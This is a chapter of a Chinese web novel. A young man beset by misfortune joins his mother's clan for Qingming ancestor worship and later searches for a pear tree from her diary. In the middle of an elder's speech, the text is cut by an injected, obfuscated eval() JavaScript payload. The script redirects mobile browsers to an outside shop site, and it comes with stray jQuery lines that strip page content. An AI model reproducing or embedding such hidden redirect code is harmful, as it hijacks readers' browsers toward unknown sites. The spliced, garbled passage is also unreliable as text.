清明。细雨绵绵，山风阴冷，天沉得像浸了水的黑布。
云西，象临县的山寨，十二座青山错落。三座前山古色小楼庭院连片，青瓦木檐浸着雨雾，都是杨姓人家；两座挺拔秀美的后山是杨家的祖坟，草木葱郁添了几分静穆；余下七山错落环绕，茶树、松树、果树绵延。
夏舒攥着手里竹篮，里面放着黄纸和一捆香，指尖冰凉。他穿着简单的休闲装，一身书卷气，面容白皙俊美，高大挺拔，在熙攘的杨家族人里显得格外亮眼。
夏舒，二十五岁，刚毕业一年，是个诸事不顺的普通社畜。
这段时间，事事碰壁，他倒霉到了极致。
入职第一家公司的第一天，整个公司被叔叔连锅端了，他被关在小黑屋审了一整天，才知道那是一家诈骗公司。
好不容易入职第二家公司，兢兢业业干了五个月，老板突然破卷款跑路，公司直接倒闭，工资都没结清。
入职第三家公司的两个月，财务和老板干架，他上前拉架被捅了一刀，在医院住了三个月。
两个月前刚刚出院，回家发现楼上水管开裂，大水把他家淹了。
家里需要重新装修，他搬到酒店住了半个月。结果天天都一堆破事，空调不制热，洗澡没有热水，半夜停电，去餐厅吃饭食物中毒，在健身房扭到脚。酒店实在扛不住了，把房费都退还给他，还赔了他三倍钱，求他退房换个酒店住。
接二连三的变故、数不尽的意外、处处碰壁的职场困境，压得他喘不过气，夜夜辗转难眠，满心都是迷茫与困顿，觉得自己做什么都不顺，浑身透着挥之不去的霉运。
正好清明扫墓，他收拾行李回到母亲年少时居住的山寨，只想寻一份安心，也想拜拜祖先，祈求庇佑，希望能转转运、顺遂一些。
云西杨家是云西传承千年的汉人世家的支脉，即便历经风雨，族中子弟依旧骨子里带着汉人世家忠肝义胆和坚韧不拔。这一日，每年例行的清明小祭，杨家聚集了小五百来人，有世代守在寨子里的亲老，有不远千里从省外赶回来的，甚至还有几位旅居国外的族人。
外公杨强国是族长，也是村书记，威严不失温和。他看着身边神色苍白憔悴、满眼疲惫的外孙，眼底满是心疼。他从女儿那里了解了外孙接连遭遇的糟心事，知道他霉运缠身、心神不宁。村里的老兄弟们都觉得这孩子近期运势低迷，被浊气缠了身，让他喊这孩子回来祭祖拜拜，以求祖宗庇护，希望他驱散霉运、健康顺遂。
一行人沿着湿滑的山路往后山祖坟走去。山路崎岖，两旁古树枝桠交错，雨丝透过枝叶缝隙落下，打在墓碑上，泛着幽冷的光。越往祖坟深处走，寒意越重，风穿过墓碑缝隙发出细碎的呜咽声，让人绷紧了神经。
杨家的祖坟错落排布，最显眼的是十来座威严大气的杨氏烈士墓，还有一些较正常坟墓而言有些娇小的衣冠冢。
族人们按谱系辈分依次清扫坟前杂草，培上新土，摆上贡品，恭敬行礼。外公拉着夏舒，走到自己的祖父和父亲墓前，他的声音沉稳又庄重：“阿公，阿耶，这是我们杨家的外孙夏舒，近期诸事不顺、霉运缠身。求阿公阿耶在天有灵，护他周全，驱散他身边的浊气灾厄，让他往后顺顺利利、平平安安，如果看到不干净、不正当的人和事，一定要通通从他身边撵走！”
等外公杨强国带着夏舒拜完自己家的坟，族中几个长辈也轮流过来，拉着夏舒走到自家比较勇猛刚正的先辈坟前，絮絮叨叨地向沉眠的先人介绍这个小辈，祈求先人庇佑他，赶走缠身的霉运，往后日子能一帆风顺。
夏舒也不记得自己在多少坟前磕头了，每到一座坟前，他都能感受到更浓的寒意，仿佛坟中先祖正透过冰冷的墓碑，静静看着他，带着一种跨越生死的威严与慈爱。
雨还在下。祭祖的低语声、风吹枝叶的声响，混着若有若无的阴寒气息，让这片祖坟之地多了几分说不清道不明的气息。
祭拜完毕，雨也停了，族人们一同找了一块空地吃献坟饭，地上铺开几塑料布，各家把带来的吃食摆出来。糯米饭、卤牛肉、煮鸡、凉米线、腌菜、腊肉，都是寻常的乡间吃食，但摆在一起，便有了团聚的意思。
夏舒跟着外公坐在自己家的那块塑料布上。大舅杨恩义坐在他旁边，从篮子里取出一些剥好的松子递给他。
一个四五岁的小女孩手里抓着一只鸡腿，从旁边跑过来，不小心蹭到了夏舒的裤腿上。小女孩愣了一下，有些不知所措。
夏舒冲她温和地笑了笑，表示没关系。
大舅轻声为两人介绍：“夏舒是我大姐的孩子，杨清灵是三公家的孙女，你们是平辈，按年龄称呼兄妹就好。”
小女孩规规矩矩地站好，认真地说：“夏舒表哥，对不住，我把你的衣服弄脏了。”
夏舒笑着，神色认真地回道：“清灵表妹，没有关系，这个衣服很好洗。”
小女孩看了看手里的鸡腿，问夏舒：“表哥你吃鸡腿吗？”
夏舒轻轻摇头，语气和缓:“我这几天吃素。”
小女孩了然地点点头，跑回妈妈身边，过了一会儿捧着一把供过的果子回来递给夏舒。夏舒接过来，道了谢。小女孩这才满意地走开了。
旁边一位长辈看了，微微一笑，对大舅说：“恩义，你这外甥真是温文有礼，长得也好看，小娃都喜欢他。”
大舅点了点头，语气和缓：“他脾气比较好。”没有多余的夸耀，也没有虚伪的谦虚，只是平平静静地应了一句。
吃完饭，开始分贡品。这是云西的规矩——献给祖宗的供品撤下来之后分给小辈吃，可以得到祖宗的保佑。
夏舒今天被好多人拉着拜先人求转运、驱霉运，在场的都知道他诸事不顺，几乎每个长辈都专门在自己家的坟前特意为他求供品过来给他。
大舅在一旁帮忙收着，把东西一样一样码进竹篮里，码得整整齐齐。偶尔有夏舒不认识的长辈过来，大舅便会轻声为夏舒介绍，让他喊人，道谢。长辈们点点头，也不多言语，叮嘱一两句便离开了。
有个老太走过来，走路已经不太稳了。大舅见了，轻轻扶了一下，低低喊了一声“六姑太”。老太微微点头，从袖子里摸出一个红布包，递到夏舒手里，声音不大：“这是一块白玉雕成的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487608|202103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
甘棠，我刚刚在好几个老祖那里供过，你戴着，能挡灾驱厄。”
夏舒双手接过，真诚地道了谢。老姑太没有多说，转身慢慢走了。
夏舒把红布包揣进最里层的口袋，贴身放着。
山间的雾气还没散，像一层薄纱挂在远处的树梢上。夏舒提着满满一篮子贡品，跟在外公和大舅身边下山，雨后的石板路还有些滑，他得很小心。
大舅左手挎着两只篮子，右手拿着一只篮子，笑着对夏舒说:“这两天你争取把这些吃掉一半。”
夏舒老实点头，没有拒绝亲人们对自己的关心爱护。
外公慈爱地说:“吃不完也不要紧，让你大舅给你送到住的地方去。”
夏舒点头说:“好。”
不知道是不是心理作用，拜了这么多长辈之后，夏舒觉得胸口那块压了许久的石头，似乎轻了一些，连日来笼罩在身上的霉运感，也淡了几分。
身后的祖坟山里，那些沉寂了数十年的墓碑，在雨雾中隐隐有虚影浮动。风穿过松林的声音，像是有人在远处说话，又像是谁在轻轻叹气。
*
暮色四合，毛毛细雨终于停了，空气里漫着茶树清冽的香气，吹散了白日的阴冷。
杨家五百多口族人散了大半，留在寨子里的各自归家，不留宿的也驱车离开了。车轮碾过山间湿漉漉的石板路，留下几道浅浅的水痕，不多时便被夜色吞没。
夏舒跟着外公杨强国回到家中，这是母亲从小长大的地方，木石结构的小楼透着古朴，院角的青苔被雨水润得翠绿，空气里飘着温馨气息。
外公叮嘱他早些休息，便去处理村里的琐事。大舅杨恩义在楼上伏案写作，屋里安安静静，只能听见窗外偶尔传来的虫鸣，格外静谧。
夏舒走进母亲少时的房间，昨晚晕车没来得及细看，陈设和自己家里的旧照片里无甚差别，木桌上摆着泛黄的书本，抽屉里藏着几本母亲少女时的日记本。
他随手翻开，扉页画着满树梨花，旁边写着一行小字：“老屋后的梨树，是我心里最好的风景。”
翻过几页，字里行间全是对那棵梨树的珍爱。春日梨花似雪，秋日果实清甜，是她童年最珍贵的回忆。
有一页写着：“爸爸说，这棵树是太公种的。我没见过太公，但每年看到梨花开了，就觉得自己好像也认识他了，太公一定是个很温柔的人，才会种下这么好看的树。”夏舒掰着指头算了算，妈妈的太公，自己应该叫——外老太公？
又翻一页：“今天摘了三个梨，偷偷藏了一个在枕头底下，想留着明天吃。结果半夜被硌醒了，梨也压坏了。”
夏舒忍不住笑了一下，拿起手机给母亲发消息：“老妈，老屋的梨甜吗？”
杨恩莲应该还在忙，没有回复。
夏舒将背靠在椅子上，轻轻叹口气，接连三份工作泡汤，往后的生计还没着落，满心都是愁绪。
看了眼窗外月色朦胧，他轻手轻脚推开门，绕到屋后的小林子。他要拍几张梨树的照片发给母亲。可找了许久，除了杂草灌木，还有几棵李树和橘树，压根不见梨树的影子。